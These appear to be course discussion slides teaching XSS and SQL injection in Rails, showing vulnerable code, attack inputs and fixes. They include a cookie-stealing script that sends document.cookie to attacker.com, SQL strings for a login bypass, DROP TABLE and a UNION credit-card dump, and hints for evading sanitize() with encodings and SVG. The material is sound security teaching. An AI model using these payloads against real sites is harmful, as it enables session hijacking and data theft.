

Project 7 Discussion Section

XSS and SQL Injection in Rails



Agenda

- XSS coverage
 - XSS #1: Project 7 Part 1
 - XSS #2: Project 5 Part 3
 - Rails' sanitize(): Project 7 Part 2
- SQL Injection (Project 7 Part 3)
 - SQL Injection #1
 - SQL Injection #2
- Project 7 Specifics: encodings, SVG



XSS and SQL Injection

- Code injection vulnerabilities.
 - Rough generalization:
Data input unexpectedly becomes code.
- In XSS, the code is JavaScript in HTML document.
- In SQL Injection, the code is SQL to the database.



XSS Background


- Same-origin policy prevents JavaScript from a.com to manipulate DOM from b.com.

- This does not work from evil.com.

```
<iframe src="http://www.bank.com">
</iframe>
<script>
frames[0].forms[0].onsubmit = function() {
    // send me your login and password
    ...
}
</script>
```

- So attacker needs to inject JavaScript code into some page on domain.

XSS #1





XSS #1

- In controller:

```
def search
  @query = params[:query]
end
```

- In view

```
<p>Search result for <%= @query
%></p>
```

- Input through GET method



XSS #1: Normal Search

- Input: flower
- URL: www.vulnerable.com/?query=flower
- Resulting page
`<p>Search result for flower</p>`



XSS #1: Abnormal Search

- **Input:**

```
<script>alert (document.cookie)</script>
```

- **URL-encoded input:**

```
%3Cscript%3Ealert%28document.cookie%29%3C/script%3E%0A
```

- **URL:** `www.vulnerable.com/?query=`

```
%3Cscript%3Ealert%28document.cookie%29%3C/script%3E%0A
```



XSS #1

- Result page

```
<p>Search result for
```

```
<script>alert(document.cookie)</script></p>
```

- URL-encoding has been decoded automatically.



XSS #1: Attacker Search

- Q: What does this do?
`<script>(new Image()).src="http://attacker.com/email.php?content="+ document.cookie</script>`
- A: Send visitor's cookie to attacker!
- URL-encoded URL:
`www.vulnerable.com/?query=%3Cscript%3E%28new%20Image%28%29%29.src%3D%u201Chttp%3A//attacker.com/email.php%3Fcontent%3D%u201D%20%20%20document.cookie%u201D%3B%3C/script%3E`
- Make intended victim visit the above URL



XSS #1

- Resulting page

```
<p>Search result for  
<script>(new  
Image()).src="http://attacker.c  
om/email.php?content="+  
document.cookie</script></p>
```



XSS #1

- Fix: Escape “<” and “>”

- “<” → “<”

- “>” → “>”

- h function does this

- In view

Search result for `<%= h(@query) %>`



XSS #1

- Resulting page on attempted attack

```
<p>Search result for  
&lt;script>(new  
Image()).src="http://attacker.c  
om/email.php?content="+  
document.cookie&lt;/script><  
</p>
```



XSS #1

- Questions?



XSS #2


- Project 5 Part 3
- File upload allows any file upload, including HTML
- File is opened on same domain
- No sanitization of the HTML file at all against JavaScript.
- Possible solution:

```
<script>document.alert(cookie)
</script>
```



XSS #2

- Possible Fix: Delete JavaScript
 - Try viewing an HTML file with JavaScript in Gmail
 - Result of uploading last file: [blank]
- Eventual Fix: Make server tell browser to treat the file as attachment
 - Now file opened on local hard drive
 - Same-origin policy prevents XSS



XSS #2

- Questions?



Rails' sanitize()

- How if you want to allow HTML tags?
- Solution: sanitize function
- `<%= sanitize @post.content %>`



Rails' sanitize()

- Rails 2.0 uses new blacklist / whitelist filter
- Whitelist prevents unexpected protocols
 - You might blacklist javascript: as a protocol
 - However, there are livescript: and mocha: in Netscape 4 and vbscript: in IE 6.
- Default generally works well.
- src, href with “javascript:” deleted
- <script> deleted



Rails' sanitize()

- Put customizations in `config/environment.rb`
- Restart after you change anything under `config`
- Lesson from project 7:
Careful what additional tags, protocols you allow!



Rails' sanitize()


- Questions?



SQL Injection

- In SQL Injection, SQL is injected into vulnerable SQL execution statement.
- Result: Unexpected SQL execution

SQL Injection #1: Login Form





SQL Injection #1

- Vulnerable Code

```
User.find(:all, :conditions =>
  "username = #{params[:username]} AND
  password = #{params[:password]}")
```

- This translates into

- `SELECT * FROM users WHERE (username = '...' AND password = '...')`
- Attacker decides what ... will be.



SQL Injection #1

- Normal input

- username = tom

- password = passw0rd

- Resulting Query

```
SELECT* FROM users WHERE  
(username = 'tom' AND password  
= 'passw0rd')
```



SQL Injection #1

- Attacker Input

- username: tom') --
- password: whatever

- Resulting Query

- `SELECT * FROM users WHERE (username = 'tom') -- ' AND password = 'whatever')`
- Logs in as tom regardless of password.



SQL Injection #1

- Abnormal Input
 - username: '); DROP TABLE users --
 - password: whatever
- Resulting Query:
 - `SELECT * FROM users WHERE (username = '' ; DROP TABLE users -- ' AND password = 'whatever')`
- Q: Would this work?
- A: No. Semicolon not allowed, so no way to inject new statement.



SQL Injection #1: Fix

- Fix the vulnerable statement

- Vulnerable Statement

```
User.find(:all, :conditions => "username =  
#{params[:username]} AND password =  
#{params[:password]}")
```

- Fixed Statement

```
User.find(:all, :conditions => { :username =>  
params[:username], :password =>  
params[:password] })
```

- In second form, Rails knows each argument is supposed to be for one parameter and sanitize for you.

- Questions?

SQL Injection #2

- Pizza example, rehashed





SQL Injection #2

- In controller

```
@pizza_orders =  
  PizzaOrder.find(:all,  
    :conditions => "month =  
#{params[:month]}")
```



SQL Injection #2

■ In view

```
<table>
<% @pizza_orders.each do |order| %>
  <tr><td><%= order.pizza %></td>
    <td><%= order.topping %></td>
    <td><%= order.quantity %></td>
    <td><%= order.date %></td>
<% end %>
</table>
```



SQL Injection #2

- Resulting Query

```
SELECT * FROM pizza_orders where  
(month = '...')
```

- Normal input

- month = 10

- Resulting Query

```
SELECT * FROM pizza_orders WHERE  
(month = '10')
```

SQL Injection #2



The screenshot shows a Mozilla Firefox browser window titled "Order History - Mozilla Firefox". The menu bar includes File, Edit, View, History, Bookmarks, ScrapBook, Tools, and Help. The main content area displays "Your Pizza Orders:" followed by a table with four columns: Pizza, Toppings, Quantity, and Order Day. The table lists eight different pizza orders with their respective toppings, quantities, and order days. A row with "..." is visible at the bottom of the table.

Pizza	Toppings	Quantity	Order Day
Diavola	Tomato, Mozarella, Pepperoni, ...	2	12
Napoli	Tomato, Mozarella, Anchovies, ...	1	17
Margherita	Tomato, Mozarella, Chicken, ...	3	5
Marinara	Oregano, Anchovies, Garlic, ...	1	24
Capricciosa	Mushrooms, Artichokes, Olives, ...	2	15
Veronese	Mushrooms, Prosciutto, Peas, ...	1	21
Godfather	Corleone Chicken, Mozarella, ...	5	13
...			



SQL Injection #2

- Attacker Input


- month =

- 13') UNION ALL SELECT name, CC_num, exp_mon, exp_year FROM creditcards --

- Resulting Query

- SELECT * FROM pizza_orders WHERE (month = 13') UNION ALL SELECT name, CC_num, exp_mon, exp_year FROM creditcards -- ')

SQL Injection #2



The screenshot shows a Mozilla Firefox browser window titled "Order History - Mozilla Firefox". The address bar contains "https://w" and the status bar at the bottom says "Done". The main content area displays the heading "Your Pizza Orders in October:" followed by a table of orders.

Pizza	Toppings	Quantity	Order Day
Neil Daswani	1234 1234 9999 1111	11	2007
Christoph Kern	1234 4321 3333 2222	4	2008
Anita Kesavan	2354 7777 1111 1234	3	2007
...			



SQL Injection #2: Fix

- `@pizza_orders =
 PizzaOrder.find(:all,
 :conditions => "month =
 #{params[:month]}")`
- **Fixed Statement**
`@pizza_orders =
 PizzaOrder.find(:all,
 :conditions => { :month =>
 params[:month])`



SQL Injection #2

- Questions?



Project 7 Specifics: URL-Encoding

- Firefox allows URL w/o URL encoding
- Put in %20 at the end, or Firefox trims spaces in the back
- Once you figure out exact URL, use any URL encoder online



Project 7 Specifics: Encoding

- javascript:, <script> stripped by sanitize
- How do we get around?
- See protocol allowed in config/environment.rb and consider different encodings
- For encoding, feel free to use any encoder online



Project 7 Specifics: SVG

- Use SVG document for Part 2.
- SVG document
 - `<embed src="webmasting.svg" type="image/svg+xml" />`
- Use data protocol to encode SVG document
- You can include `<script>` tag in SVG document.
- See http://www.w3schools.com/svg/svg_examples.asp



Project 7 Specifics: Email Script

- Email script link in Simple Blog
- I monitor email script usage



Project 7 Specifics

- Questions? Comments?